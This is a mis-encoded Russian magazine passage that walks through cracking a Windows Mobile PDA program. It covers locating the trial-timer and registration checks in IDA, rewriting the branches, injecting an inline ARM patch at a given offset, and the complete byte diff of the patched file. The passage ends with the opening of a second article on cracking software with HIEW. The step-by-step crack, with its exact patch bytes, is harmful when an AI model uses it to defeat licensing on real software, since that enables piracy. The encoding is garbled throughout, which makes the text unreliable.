åùå íå ïðîøëà (âèäèìî, îá ýòîì ãîâîðèò áàéò,
ðàâíûé íóëþ è âçÿòûé ïî àäðåñó [R4,R7]) èëè åñëè
òàéìåð íàñ÷èòàë ìåíüøå 60 ñåêóíä (#0x3C). Òàêèì
îáðàçîì, ïðîáëåìó ðåøèò çàìåíà óñëîâíîãî ïåðå-
õîäà «BLS loc_18E04» íà áåçóñëîâíûé «BLS
loc_18E04» ïî àäðåñó 18DEC.

Ê ñîæàëåíèþ, ýòî åùå íå âñå. Ïðè çàãðóç-
êå ïðîãðàììû ïîÿâëÿåòñÿ äèàëîã ñ íàïîìèíàíè-
åì îá îãðàíè÷åíèÿõ. Ëèêâèäèðóåì åãî äëÿ áîëü-
øåãî óäîáñòâà. Ïîäîéäåì ê âîïðîñó òâîð÷åñêè,
çàïóñòèì Resource Hacker. Çàãðóçèâ â íåãî íàø
ôàéë, èçó÷èì âêëàäêó Dialog è â ïîäïàïêå
«117» íàéäåì çíàêîìîå íàì îêíî (îíî èçîáðà-

æåíî íà ðèñóíêå 2). Ïðèêèíóâ â óìå, ïîëó÷èì
øåñòíàäöàòåðè÷íîå çíà÷åíèå: 117 = 0õ75h.
Èìåííî òàê, ñêîðåå âñåãî, áóäåò âûãëÿäåòü
èäåíòèôèêàòîð ýòîãî äèàëîãà â ëèñòèíãå IDA
ïåðåä çàãðóçêîé èç ðåñóðñîâ.

Âîçâðàùàåìñÿ â IDA è ñ íà÷àëà ëèñòèíãà
æìåì <Alt>+<T>, ãäå â ñòðîêå ïîèñêà ââîäèì
«FindResource» (ýòà ôóíêöèÿ èñïîëüçóåòñÿ äëÿ
ïîèñêà ðåñóðñà â ôàéëå ðåñóðñîâ). Îñòàíàâëèâà-
åìñÿ ïî àäðåñó 11158. Ñìîòðèì âûøå íà ID ðå-
ñóðñà... #0x75! Íàâåðíîå, ïîâåçëî. Òàê èëè èíà÷å,
èçó÷èì ïðåäøåñòâóþùèé ýòîìó ñîáûòèþ êîä,
îòðàæåííûé â ëèñòèíãå 3.

Êàê âèäíî, ýòîò äèàëîã ïåðåñòàíåò ïîÿâëÿòü-
ñÿ, åñëè çàñòàâèòü ñðàáîòàòü óñëîâíûé ïåðåõîä
ïî àäðåñó 11144, ðåàãèðóþùèé íà ðåçóëüòàò, âîç-
âðàùàåìûé ôóíêöèåé sub_190D8 (âèäèìî, ýòî
ôóíêöèÿ ïðîâåðêè çàðåãèñòðèðîâàííîñòè). Åñòü
òàêîå ðåøåíèå — çàìåíèòü óñëîâíûé ïåðåõîä
«BNE loc_11184» áåçóñëîâíûì «B loc_11184» ïî
àäðåñó 11144.

Òåïåðü ïðè ãðàìîòíîì ïðîïàò÷èâàíèè ñóùå-
ñòâóþùàÿ çàùèòà ïåðåñòàíåò ìåøàòü íîðìàëüíîé
ðàáîòå ñ ïîäîïûòíîé ïðîãðàììîé.

| 69

ëëèèññòòèèííããèè

Ëèñòèíã 11.  ÊÊîä ââûçîâà ôôóíêöèè MMessageBox 
.text:0001D268 ; int __stdcall MessageBoxW(HWND hWnd,LPCWSTR lpText,LPCWSTR

lpCaption,UINT uType)

.text:0001D268 MessageBoxW ; CODE XREF: sub_119F4+204 p

.text:0001D268 ; sub_119F4+228 p ...

.text:0001D268 LDR   R12, =__imp_MessageBoxW

.text:0001D26C LDR   PC, [R12]

.text:0001D26C ; End of function MessageBoxW

Ëèñòèíã 22.  ÊÊîä, ààíàëèçèðóþùèé òòàéìåð 
.text:00018DC0 LDRB R3, [R4,R7]

.text:00018DC4 CMP R3, #0 ; [ïðîøëà ëè ñåêóíäà?]

.text:00018DC8 BEQ loc_18E04 ; [íåò — ïåðåõîä, äà — ñ÷åò÷èê++]

.text:00018DCC MOV R0, R6

.text:00018DD0 BL sub_16760

.text:00018DD4 LDR R3, =__rt_udiv

.text:00018DD8 LDR R1, [R4,R5]

.text:00018DDC LDR R3, [R3]

.text:00018DE0 MOV LR, PC

.text:00018DE4 MOV PC, R3

.text:00018DE8 CMP R0, #0x3C ; '<' ; [âûøåë ëè ñ÷åò÷èê â 60 ñåêóíä?]

.text:00018DEC BLS loc_18E04 ; [åñëè ìåíüøå ëèáî ðàâíî — ïåðåõîä]

.text:00018DF0 LDR R0, =aThisTrialCopyO   ; [èíà÷å — ñîîáùåíèå è âûõîä]

.text:00018DF4 BL sub_168E8

.text:00018DF8 STRB R9, [R4,R7]

.text:00018DFC STRB R9, [R4,#0x410]

.text:00018E00 BL sub_16940

.text:00018E04

.text:00018E04 loc_18E04 ; CODE XREF: sub_18D68+60 j

.text:00018E04 ; sub_18D68+84 j

.text:00018E04 MOV R8, R4

.text:00018E08 LDRB R3, [R8,#0x48]!

Ðèñóíîê 1. Ñîîáùåíèå ïåðåä âûõîäîì
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îñòàåòñÿ ííàïèñàòü ïïàò÷. Êàê óæå áûëî ñêàçà-
íî, inline-ïàò÷ äîëæåí áûòü çàïóùåí ïåðåä ïåðåõî-
äîì íà OEP (Original Entry Point), íî â íàøåì ñëó-
÷àå EP (Entry Point) = OEP. Îòêóäà æå åãî âûçû-
âàòü? Ìîæíî, êîíå÷íî, ïîêîëäîâàòü ñ ñàìèì ôàé-
ëîì: äîáàâèòü íîâóþ ñåêöèþ (ñ ïàò÷åì), èçìåíèòü
ïàðàìåòð AdressOfEntryPoint â PE-çàãîëîâêå, óêà-
çàâ íà ýòó ñåêöèþ, è ïîòîì èç òåëà ïàò÷à ïåðåäà-
âàòü óïðàâëåíèå íåïîñðåäñòâåííî íà íà÷àëî ïðî-
ãðàììû â îñíîâíîé ñåêöèè êîäà. Â ïðåäëîæåííîì
ñïîñîáå ïëîõî òîëüêî òî, ÷òî ïðèäåòñÿ âíîñèòü
çíà÷èòåëüíûå ìîäèôèêàöèè â ôàéë (ïîëó÷èâ, êàê
ñëåäñòâèå, èçìåíåíèå ðàçìåðîâ è ñìåøåíèå ñåê-
öèé), ÷åãî êàê ðàç íå õîòåëîñü áû. Ó ìåíÿ æå ðîäè-
ëàñü èäåÿ çàìåíèòü ïåðâûé â ïðîãðàììå BL-ïåðå-
õîä (Branch with Link) íà âûçîâ íàøåãî inline-ïàò÷à
è óæå èç íåãî (ïîñëå òîãî êàê îñíîâíîé êîä áóäåò
èñïðàâëåí) ïåðåäàòü óïðàâëåíèå ôóíêöèè, âû-
çûâàåìîé â îðèãèíàëå. Êîíå÷íî, çâó÷èò íåìíîãî
ñòðàííî è ñëîæíîâàòî, çàòî èíòåðåñíî ñ òî÷êè
çðåíèÿ ðåàëèçàöèè.

Äëÿ íà÷àëà îïðåäåëèìñÿ ñ ìåñòîì ðàñïîëî-
æåíèÿ íàøåãî ñîáñòâåííîãî êîäà. Âèäèìî, ïîñëå
îñíîâíîãî êîäà, ïåðåä ñåêöèåé èìïîðòà. Äëÿ òîãî
÷òîáû óçíàòü àäðåñ ïîñëåäíåé èíñòðóêöèè, â ëè-
ñòèíãå IDA ïåðåéäåì íà íà÷àëî ñåêöèè èìïîðòà
(îíà íàõîäèòñÿ ïî àäðåñó 1E000). Ñìîòðèì âûøå è
âèäèì, ÷òî ñåêöèÿ êîäà çàêàí÷èâàåòñÿ àäðåñîì
1D830. Îòñòóïèì íåìíîãî è îïðåäåëèì íà÷àëî
ïàò÷à íà àäðåñ 1D840. Òåïåðü çàïóñòèì ëþáîé ðå-
äàêòîð PE, ãäå â êîíâåðòîðå èç ýòîãî RVA ïîëó÷èì
File offset. Ïîëó÷àåòñÿ, CC40.

Íàêîíåö-òî ïðèøëà ïîðà ðàçðàáîòêè òåëà in-
line-ïàò÷à. Çäåñü ñîâåòóþ óäåëèòü îñîáîå âíèìà-
íèå ñîõðàíåíèþ ïàðàìåòðîâ ôóíêöèè â ñòåêè ïðè
âõîäå â ïîäïðîãðàììó (Prolog) è èõ âîññòàíîâëå-
íèþ èç ñòåêà (Epilog) ïðè âûõîäå èç ïîäïðîãðàììû.
Äåëî â òîì, ÷òî àðõèòåêòóðà ARM ïîääåðæèâàåò
ìíîæåñòâî ñïîñîáîâ óêëàäûâàíèÿ äàííûõ â ñòåê, è
åñëè íå ïîíèìàòü ðàçíèöó ìåæäó íèìè, áûñòðî çà-
ïóòàåøüñÿ è ïðèâåäåøü ñâîé ÊÏÊ ê HardReset.

Â èòîãå, ïîñëå íåêîòîðûõ óñèëèé, çàâèñÿùèõ
îò òîãî ñàìîãî ïóõëåíüêîãî áàãàæà çíàíèé, äîëæíî
ïîëó÷èòüñÿ íå÷òî, ïîõîæåå íà êîä èç ëèñòèíãà 4.

Åñëè âûáðîñèòü êîìàíäó «BL _cinit» èëè çàìå-
íèòü åå íà êàêîé-ëèáî äðóãîé âûçîâ, ìîæíî ñêîìïè-
ëèðîâàòü ýòó ïðîãðàììó è òàêèì îáðàçîì ïîëó÷èòü
îïêîäû. Çàòåì âûðåçàòü åãî â HEX-ðåäàêòîðå è ïî-
ìåñòèòü â æåðòâó ïî óæå îãîâîðåííîìó àäðåñó
CC40. Ðàçóìååòñÿ, ïðîôåññèîíàëû îáîéäóòñÿ è áåç
òàêèõ äåéñòâèé è çàïèøóò îïêîäû ñðàçó, ïî ïàìÿòè.

Ëèñòèíã 33. ÏÏðîâåðêà ððåãèñòðàöèè ïïðè ññòàðòå
.text:0001113C BL sub_190D8 ; [ôóíêöèÿ ïðîâåðêè ðåãèñòðàöèè]

.text:00011140 ANDS R3, R0, #0xFF ; [çàðåãèñòðèðîâàíà ëè ïðîãðàììà?]

.text:00011144 BNE loc_11184 ; [íåò — âûâîä äèàëîãà, äà — ïåðåõîä]

.text:00011148 LDR R5, =unk_29AA0

.text:0001114C MOV R2, #5 ; lpType

.text:00011150 MOV R1, #0x75 ; 'u' ; lpName

.text:00011154 LDR R0, [R5] ; hModule

.text:00011158 BL FindResourceW

.text:0001115C MOV R1, R0 ; hResInfo

.text:00011160 LDR R0, [R5] ; hModule

.text:00011164 BL LoadResource

.text:00011168 MOV R3, #0

.text:0001116C LDR R2, [R4] ; hWndParent

.text:00011170 MOV R1, R0 ; hDialogTemplate

.text:00011174 STR R3, [SP,#0x48+wRemoveMsg]

.text:00011178 LDR R3, =sub_117E0 ; lpDialogFunc

.text:0001117C LDR R0, [R5] ; hInstance

.text:00011180 BL DialogBoxIndirectParamW

.text:00011184

.text:00011184 loc_11184 ; CODE XREF: WinMain+C0 j

.text:00011184 ; WinMain+184 j

.text:00011184 MOV R3, #0 ; wMsgFilterMax

Ëèñòèíã 44. AARM-êêîä iinline-ïïàò÷à 
.0001D840 STMFD SP!, {LR} [ñîõðàíèì àäðåñ âîçâðàòà â ñòåêå]

0001D844 STMFD SP!, {R0-R3} [ñîõðàíèì ïàðàìåòðû çàòåðòîé ôóíêöèè]

0001D848 MOV R0, #0xEA [îïêîä áåçóñëîâíîãî ïåðåõîäà]

0001D84C LDR R1, =0x18DEF [àäðåñ ïåðåõîäà òàéìåðà]

0001D850 STRB R0, [R1] [çàìåíà áàéòà â ïàìÿòè]

0001D854 LDR R1, =0x11147 [àäðåñ âûçîâà äèàëîãà]

0001D858 STRB R0, [R1] [çàìåíà áàéòà â ïàìÿòè]

0001D85C LDMFD SP!, {R0-R3} [âîññòàíàâëèâàåì ïàðàìåòðû ôóíêöèè]

0001D860 BL _cinit [âûçîâ çàòåðòîé ôóíêöèè]

0001D864 LDMFD SP!, {PC} [âîçâðàùàåìñÿ îáðàòíî]

Ëèñòèíã 55. HHEX-êêîä iinline-ïïàò÷à 
.text:0001D840 00 40 2D E9 0F 00 2D E9 EA 00 A0 E3 14 10 9F E5 .@-ù¤.-ùú.àó¶ ßõ

.text:0001D850 00 00 C1 E5 10 10 9F E5 00 00 C1 E5 0F 00 BD E8 ..+õ  ßõ..+õ¤.-ø

.text:0001D860 A1 FF FF EB 00 80 BD E8 EF 8D 01 00 47 11 01 00 á û.À-øÿÍ .G  .

Ëèñòèíã 66. ÑÑðàâíåíèå îîðèãèíàëüíîãî èè ïïðîïàò÷åííîãî ôôàéëîâ 
000001D8: 30 70 [ðàçìåð ñåêöèè]

000001F7: 60 E0 [àòðèáóò is writeable]

0000CA0C: 36 8B [ïåðåõîä íà inline-ïàò÷]

0000CC40: 00000000 00402DE9 [íåïîñðåäñòâåííî êîä ïàò÷à]

0000CC44: 00000000 0F002DE9 [STMFD SP!, {LR}]

0000CC48: 00000000 EA00A0E3 [STMFD SP!, {R0-R3}]

0000CC4C: 00000000 14109FE5 [MOV R0, #0xEA]

0000CC50: 00000000 0000C1E5 [LDR R1, =0x18DEF]

0000CC54: 00000000 10109FE5 [STRB R0, [R1]]

0000CC58: 00000000 0000C1E5 [LDR R1, =0x11147]

0000CC5C: 00000000 0F00BDE8 [STRB R0, [R1]]

0000CC60: 00000000 A1FFFFEB [LDMFD SP!, {R0-R3}]

0000CC4B: 00000000 0080BDE8 [BL _cinit]

0000CC4C: 00000000 EF8D0100 [àäðåñ 00108D3F]

0000CC4D: 00000000 47110100 [àäðåñ 00011147]

Îôèöèàëüíûé ñàéò PhonTuner'a



Èòàê, ÿäðî íàïèñàíî, îñòàëîñü ïðèâÿçàòü ïàò÷ ê
îñíîâíîé ïðîãðàììå, à èìåííî íàéòè äëÿ íåãî ìå-
ñòî âûçîâà. Â ñîîòâåòñòâèè ñ èäååé, ïåðâûé âñòðå-
òèâøèéñÿ â ïðîãðàììå âûçîâ ôóíêöèè äîëæåí
áûòü ïîäìåíåí è ïåðåàäðåñîâàí íà íàø ïàò÷, à ñà-
ìà ôóíêöèÿ äîëæíà áûòü âûçâàíà âíóòðè ïàò÷à.
Ïåðâûé ïåðåõîä â ïðîãðàììå ðàñïîëîæåí ïî àä-
ðåñó 1D60C, òàì ïðîèñõîäèò îáðàùåíèå ê íåêîòî-
ðîé ôóíêöèè _cinit. Ðåàëèçîâàòü òàêóþ ïåðåàäðå-
ñàöèþ ìîæíî òîëüêî âðó÷íóþ, ïóòåì çàìåíû â èí-
ñòðóêöèè îòíîñèòåëüíîãî ñìåùåíèÿ äî ýòîé ôóíê-
öèè íà ñìåùåíèå äî íàøåãî inline-ïàò÷à. Òî÷íî òà-
êèì æå îáðàçîì íåîáõîäèìî ðàññ÷èòàòü ñìåùå-
íèå èç òåëà ïàò÷à äî ôóíêöèè _cinit. Î òîì, êàê ýòî
ñäåëàòü, ìîæíî óçíàòü èç âðåçêè.

Ïîñëå ðàñ÷åòà çàìåíÿåì ñîîòâåòñòâóþùèå
ñìåùåíèÿ â âûçîâàõ è ïîëó÷àåì:

ïî àäðåñó 1D60C: 8B 00 00 EB 

[âûçîâ inline-ïà÷òà âìåñòî _cinit]

ïî àäðåñó 1D860: A1 FF FF EB 

[âûçîâ _cinit èç òåëà ïàò÷à]

Òàêèì îáðàçîì, êîíå÷íàÿ âåðñèÿ inline-ïàò÷à â øåñò-
íàäöàòåðè÷íîì âèäå áóäåò âûãëÿäåòü òàê, êàê ïî-
êàçàíî â ëèñòèíãå 5.

Íàïîñëåäîê âîçâðàùàåìñÿ â PE-ðåäàêòîð,
â òàáëèöå ñåêöèé (Section Header) ìåíÿåì ðàç-
ìåð (Virtual Size) ñåêöèè êîäà «.text» íà «C870» è

àòðèáóòû ñåêöèè (Characteristics), äîáàâèâ ñâîé-
ñòâî Is writeable. Ïåðâîå íåîáõîäèìî äëÿ êîð-
ðåêòíîé ðàáîòû ïðîãðàììû â ñðåäå WindowsMo-
bile 2003, âòîðîå — äëÿ âîçìîæíîñòè âíåñåíèÿ
èçìåíåíèé â ñåêöèþ êîäà âî âðåìÿ âûïîëíåíèÿ
ïðîãðàììû. Âèä èñïðàâëåííîé ñåêöèè èçîáðà-
æåí íà ðèñóíêå 3.

Íàêîíåö-òî ïðîãðàììà ãîòîâà ê ðàáîòå è
ìîæíî ïðèñòóïèòü ê íàïèñàíèþ êðýêà, êîòîðûé ïî
îäíîìó òâîåìó íàæàòèþ êíîïêè ïîâòîðèò âñå, ÷åãî
ìû ñåé÷àñ äîáèëèñü. Ïîñëå çàïóñêà ïðîãðàììû íà
ðåàëüíîì óñòðîéñòâå èëè ýìóëÿòîðå, óáåäèâøèñü
â ïðàâèëüíîñòè âñåõ ðàñ÷åòîâ, ñðàâíèì îðèãè-
íàëüíûé è ïðîïàò÷åííûé ôàéëû, ÷òîáû óâèäåòü
âñå èçìåíåíèÿ öåëèêîì. Ðåçóëüòàò ñðàâíåíèÿ
ïðåäñòàâëåí â ëèñòèíãå 6.

÷òîáû ïïîëíîñòüþ ññêðûòü «íåçàðåãèñòðèðî-
âàííîñòü» ïðîãðàììû, íåîáõîäèìî òàêæå çàìå-
íèòü äèàëîã äëÿ ââîäà èìåíè è êëþ÷à íà äèàëîã ñ
óñïåøíîé ðåãèñòðàöèåé. Îñòàâëÿþ ýòî íà äîìàø-
íåå çàäàíèå, ìîãó ïîäñêàçàòü ëèøü, ÷òî çàìåíîé
îäíîãî áàéòà òàì íå îãðàíè÷èòüñÿ, òàê êàê ïðèäåò-
ñÿ åùå óáðàòü ïðîâåðêè íà îòñóòñòâèå èìåíè, à
âîçìîæíî, ïîäñòàâèòü ñâîè èíèöèàëû.

çàêëþ÷åíèå. Òàêîé ñïîñîá ñíÿòèÿ çàùèò
èìååò ïðàâî íà ñóùåñòâîâàíèå, è ïóñòü äëÿ ýòîãî
ïðèëîæåíèÿ îí íå î÷åíü-òî ïîäõîäèò, íî â ïðî-
ãðàììàõ ñî ñêðûòûì êîäîì îí ñòàíåò åäèíñòâåí-
íûì ñïîñîáîì ñî÷åòàþùèì ïðîñòîòó è êà÷åñòâî.
Òàê ÷òî, íàäåþñü, ïðèâåäåííûé ïðèìåð inline-ïàò-
÷à êîãäà-íèáóäü ïðèãîäèòñÿ.

Êñòàòè, åñëè âíèìàòåëüíî èçó÷èòü ñîîáùå-
íèå, êîòîðîå ïîÿâëÿåòñÿ ïðè íåóäà÷íîé ïîïûòêå
çàðåãèñòðèðîâàòüñÿ, ìîæíî çàìåòèòü óïîìèíàíèå
íåêîåãî ñàéòà Handagoo. Ïîêà ñêàæó, ÷òî ïðîãðàì-
ìà çàùèùåíà ïîñðåäñòâîì Handango Dynamic Re-
gistration, ñãåíåðèðîâàòü êëþ÷ äëÿ íåå íå ñîñòà-
âëÿåò áîëüøîãî òðóäà, íî îá ýòîì — â ñòàòüå
«Êëþ÷åâîé ïðîöåññ» 
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ââûû÷÷èèññëëååííèèåå 
îîòòííîîññèèòòååëëüüííîîããîî 
ààääððååññàà

ÏÐÈ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈè ÍÀ ARM-ÀÑ-
ÑÅÌÁËÅÐÅ Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÎÏÊÎ-
ÄÎÂ Î×ÅÍÜ ÂÀÆÍÎ ÏÎÍÈÌÀÒÜ, ÊÀÊ ÐÀÑ-
Ñ×ÈÒÛÂÀÅÒÑß ÎÒÍÎÑÈÒÅËÜÍÛÉ ÀÄÐÅÑ
Â ÈÍÑÒÐÓÊÖÈßÕ ÂÅÒÂËÅÍÈß ÒÈÏÀ B,BL. 
Â ÎÔÈÖÈÀËÜÍÎÌ ÎÏÈÑÀÍÈÈ ÀÐÕÈÒÅÊ-
ÒÓÐÛ ARM Î ÅÃÎ ÂÛ×ÈÑËÅÍÈÈ ÃÎÂÎÐÈÒ-
Ñß ÑËÅÄÓÞÙÅÅ:

«THE BRANCH TARGET ADDRESS IS CAL-
CULATED BY:

1 SIGN-EXTENDING THE 24-BIT SIGNED
(TWO'S COMPLIMENT) IMMEDIATE TO 32 BITS.
2  SHIFTING THE RESULT LEFT TWO BITS.
3  ADDING THIS TO THE CONTENTS OF THE
PC, WHICH CONTAINS THE ADDRESS OF
THE BRANCH INSTRICTION PLUS 8.»

ÏÅÐÅÂÅÑÒÈ ÌÎÆÍÎ ÂÎÒ ÒÀÊ: ÄËß ÏÎ-
ËÓ×ÅÍÈß ÀÁÑÎËÞÒÍÎÃÎ ÀÄÐÅÑÀ ÏÅÐÅ-
ÕÎÄÀ 24-ÁÈÒÎÂÎÅ ÑÌÅÙÅÍÈÅ, ÑÎÄÅÐ-
ÆÀÙÅÅÑß Â ÊÎÌÀÍÄÅ, ÑÄÂÈÃÀÅÒÑß
ÂËÅÂÎ ÍÀ ÄÂÀ ÁÈÒÀ, ÏÎÑËÅ ×ÅÃÎ Ê ÍÅ-
ÌÓ ÏÐÈÁÀÂËßÅÒÑß ÇÍÀ×ÅÍÈÅ ÐÅÃÈ-
ÑÒÐÀ PC, ÊÎÒÎÐÎÅ ÑÎÄÅÐÆÈÒ ÀÄÐÅÑ
ÒÅÊÓÙÅÉ ÈÍÑÒÐÓÊÖÈÈ ÂÅÒÂËÅÍÈß,
ÓÂÅËÈ×ÅÍÍÛÉ ÍÀ 8 ÁÈÒ.
ÝÒÎ ÓÒÂÅÐÆÄÅÍÈÅ ÒÀÊÆÅ ÌÎÆÍÎ ÇÀ-
ÏÈÑÀÒÜ ÄÂÓÌß ÔÎÐÌÓËÀÌÈ:

1 ((da-ba)-8)>>2 [äëÿ ïåðåõîäà

âïåðåä ïî êîäó (íà áîëüøèé àäðåñ)]
2 0-(((ba-da)+8)>>2) [äëÿ ïåðåõîäà

íàçàä ïî êîäó (íà ìåíüøèé àäðåñ)]

ba — àäðåñ êîìàíäû âåòâëåíèÿ (branch address)
da — àäðåñ êîìàíäû íàçíà÷åíèÿ (distination address)

ÄËß ÏÐÎÑÒÎÒÛ È ßÑÍÎÑÒÈ ÐÀÇÁÅÐÅÌ
ÏÐÈÍÖÈÏ ÐÀÁÎÒÛ ÝÒÈÕ ÔÎÐÌÓË ÍÀ
ÏÐÈÌÅÐÅ. ÈÒÀÊ, ÍÀÌ ÄÀÍÎ:

1D60C: àäðåñ âûçîâà _cinit

1D6EC: àäðåñ ôóíêöèè _cinit

1D840: àäðåñ inline-ïà÷òà

1D860: àäðåñ âûçîâà _cinit 

èç òåëà inline-ïà÷òà

ÑÍÀ×ÀËÀ ÍÅÎÁÕÎÄÈÌÎ ÐÀÑÑ×ÈÒÀÒÜ
ÑÌÅÙÅÍÈÅ ÎÒ ÁÛÂØÅÃÎ ÂÛÇÎÂÀ
ÔÓÍÊÖÈÈ _CINIT ÄÎ ÍÀ×ÀËÀ INLINE-ÏÀÒ-
×À. ÏÎÑÊÎËÜÊÓ ÏÀÒ× ÍÀÕÎÄÈÒÑß ÍÈ-
ÆÅ ÏÎ ÊÎÄÓ, ÈÑÏÎËÜÇÓÅÌ ÔÎÐÌÓËÓ (1):

offset = ((1D840-1D60C)-8)>>2 = 8B

ÒÅÏÅÐÜ ÏÎ ÔÎÐÌÓËÅ (2) ÐÀÑÑ×ÈÒÛÂÀ-
ÅÌ ÑÌÅÙÅÍÈÅ ÈÇ ÒÅËÀ ÏÀÒ×À ÄÎ
ÔÓÍÊÖÈÈ _CINIT, ÊÎÒÎÐÀß ÍÀÕÎÄÈÒÑß
ÂÛØÅ ÏÎ ÊÎÄÓ.

offset = 0-(((1D860-1D6EC)+8)>>2)

= FFFFA1

Ðèñóíîê 3. Èçìåíåíèå àòðèáóòîâ ñåêöèè

Ðèñóíîê 2. Îêíî äèàëîãà â ResHacker
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Âñå ìû ïðèâûêëè èñïîëüçîâàòü äîâîëüíî ìàññèâ-
íûé êîìïëåêò èç ðàçëè÷íûõ ïðîãðàìì äëÿ ðåâåð-
ñèíãà: è îòëàä÷èê SoftICE èëè OllyDbg, è äèçàññåì-
áëåð IDA Pro, è ôàéëîâûé àíàëèçàòîð PEiD, è ðå-
äàêòîð PE Tools, è âîîáùå öåëàÿ ãîðà ñïåöèàëèçè-
ðîâàííîãî è ïîëåçíîãî äëÿ êðýêèíãà ñîôòà. Îäíà-
êî ñòîèò ëè îáçàâîäèòüñÿ òàêîé êó÷åé èíñòðóìåí-
òîâ? Äëÿ áîëüøèíñòâà íåñëîæíûõ çàäà÷ ïî âçëî-
ìó âïîëíå õâàòèò HEX-ðåäàêòîðà è äèçàññåìáëå-
ðà. Ñåé÷àñ ìû ïîãîâîðèì êàê ðàç î òîì, êàê èññëå-
äîâàòü ñîôò òîëüêî ñ ïîìîùüþ HIEW.

Ýòîò äèçàññåìáëåð áûë âûáðàí íåñëó÷àéíî: âñåãäà
ìîæíî áåç òðóäà íàéòè åãî â ëîêàëêå ëþáîãî êðóï-
íîãî ïðåäïðèÿòèÿ, à â åãî ñîñòàâ âêëþ÷åí õîðîøèé
HEX-ðåäàêòîð (âîò è ïðè÷èíà âûñîêîãî ñïðîñà).
Èòàê, òû ñèäèøü íà ðàáîòå. Êðîìå êîìïüþòåðà è
ëîêàëêè, ïîä ðóêàìè íè÷åãî íåò. Ïîñòàâëåíà çàäà-
÷à áàíàëüíî çàïóñòèòü íåðàáîòàþùèé ñîôò íà ñâî-

åì (èëè ëþáîì) êîìïüþòåðå. Ïîñìîòðèì, êàê â ýòîì
çàìå÷àòåëüíîì äèçàñìå ïðîäåëûâàþòñÿ ðàçíûå
ïîâñåäíåâíûå ðåâåðñåðñêèå îïåðàöèè.

ãëàâíîå ääëÿ ððåâåðñåðà — óìåíèå ëîêàëèçî-
âàòü êîìïèëÿòîð/óïàêîâùèê, ÷òîáû çíàòü, ñ ÷åì
èìååøü äåëî è êàêîé ïîäõîä âûáðàòü. Êîíå÷íî,
êîãäà íàéäåøü óïàêîâùèê, òû áóäåøü îáÿçàí, êàê

ÂÇËÎÌ Â ÏÎËÅÂÛÕ 
ÓÑËÎÂÈßÕ — 
ÝÒÎ ÑÒÈËÜÍÎ!
ÊÀÊ ×ÀÑÒÎ ÒÛ ÏÎÏÀÄÀË Â ÑÈÒÓÀÖÈÈ,
ÊÎÃÄÀ ÏÎÄ ÐÓÊÎÉ ÍÅÒ ÍÈ×ÅÃÎ, ÊÐÎÌÅ
HEX-ÐÅÄÀÊÒÎÐÀ/ÄÈÇÀÑÑÅÌÁËÅÐÀ HIEW,
À ÍÓÆÍÎ ÇÀÑÒÀÂÈÒÜ ÑÎÔÒ ÐÀÁÎÒÀÒÜ
ÏÎ-ÒÂÎÅÌÓ? Ñ ÒÀÊÎÉ ÇÀÄÀ×ÅÉ ÈÍÎÃÄÀ
ÑÒÀËÊÈÂÀÞÒÑß ÃÎÐÅ-ÏÐÎÃÐÀÌÌÈÑÒÛ
ÍÀ ÐÀÁÎ×ÅÌ ÌÅÑÒÅ: Ê ÊÎÌÏÜÞÒÅÐÓ
ÑÒÀÂÈÒÑß ÇÀÙÈÒÀ-ÏÐÈÂßÇÊÀ, ÍÎ Â ÒÎ-
ÆÅ ÂÐÅÌß ÀÐÌ (ÀÂÒÎÌÀÒÈÇÈÐÎÂÀÍ-
ÍÎÅ ÐÀÁÎ×ÅÅ ÌÅÑÒÎ — ÍÅ ÏÓÒÀÒÜ Ñ
ARM) ÍÓÆÍÎ ÑÐÎ×ÍÎ ÏÅÐÅÍÅÑÒÈ Ñ ÎÄ-
ÍÎÃÎ ÊÎÌÏÜÞÒÅÐÀ ÍÀ ÄÐÓÃÎÉ. ÊÎÍÅ×-
ÍÎ, ÌÎÆÍÎ ÏÐÈÃËÀÑÈÒÜ ÀÂÒÎÐÀ ÀÐÌ’À
È ÏÎÏÐÎÑÈÒÜ ÅÃÎ ÎÁ ÓÑËÓÃÀÕ, ÍÎ
ÎÁÛ×ÍÎ ÍÀ ÝÒÎ ÁÀÍÀËÜÍÎ ÍÅÒ ÂÐÅÌÅ-
ÍÈ È ÆÅËÀÍÈß |GPCH (ADMIN@DOTFIX.NET)

ïïååííååòòððààööèèÿÿ 
hhiieeww’’îîìì
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ìèíèìóì, ñíÿòü åãî, è òóò áåç àâòîðàñïàêîâùèêà
òî÷íî íå îáîéäåøüñÿ. Ïðàâäà, îáû÷íî â óçêîñïå-
öèàëèçèðîâàííîì ñîôòå, êîòîðûé ïèøóò ïî çàêà-
çó äëÿ ïðåäïðèÿòèé, íå èñïîëüçóþòñÿ íèêàêèå óïà-
êîâùèêè: êëèåíò îäèí-åäèíñòâåííûé, îí âñåãäà
ïëàòèò, ïîýòîìó ïðîãðàììèñò äåëàåò çàùèòó òîëü-
êî ÷òîáû ïîòîì åå íèêîìó íå ïåðåïðîäàëè è ÷òîáû
åãî óñëóãè áûëè âîñòðåáîâàíû â áóäóùåì. Äà, õî-
ðîøàÿ èäåÿ, íî ïîðîé ñàìîìó êëèåíòó ïðèõîäèòñÿ
àïãðåéäèòü êîìïüþòåð — èìåííî òóò íàñòóïàåò
âðåìÿ çàäóìàòüñÿ. Ëîêàëèçàöèÿ êîìïèëÿòîðà áó-
äåò íå ìåíåå ïîëåçíà, òàê êàê, ê ïðèìåðó, äëÿ
Delphi è VB ïîòðåáóþòñÿ ðàçíûå çíàíèÿ è ïîäãî-
òîâêà :). Îòêðûâàé ïðîãðàììó â HIEW è ñìîòðè íà
ãîðó ASCII-ñèìâîëîâ. ×òî òóò ïîíÿòíî?

Äâàæäû æìåì <Enter> è ñìîòðèì íà áîëåå
ïîíÿòíûé äèçàññåìáëèðîâàííûé êîä. ×òîáû îí
ñòàë åùå ïîíÿòíåå, íàäàâèì <F8> è <F5> — HIEW
ïåðåéäåò íà ó÷àñòîê êîäà, ïðîïèñàííûé â îðèãè-
íàëüíîé òî÷êå âõîäà. Âíèìàòåëüíî âçãëÿíóâ íà
ýòîò êîä, óæå ïîíèìàåøü, íà ÷åì îí íàïèñàí. Ê
ïðèìåðó, äëÿ Delphi-ïðîãðàìì êîä áóäåò âûãëÿ-
äåòü êàê íà ëèñòèíãå 1.

Äåéñòâèòåëüíî, íåâîçìîæíî íå óçíàòü åãî:
ïðîñòî íåñêîëüêî Call-âûçîâîâ, ñòàíäàðòíûõ â
Delphi-ïðîãðàììàõ. Åñëè âíîâü ïåðåéòè â òåêñòî-
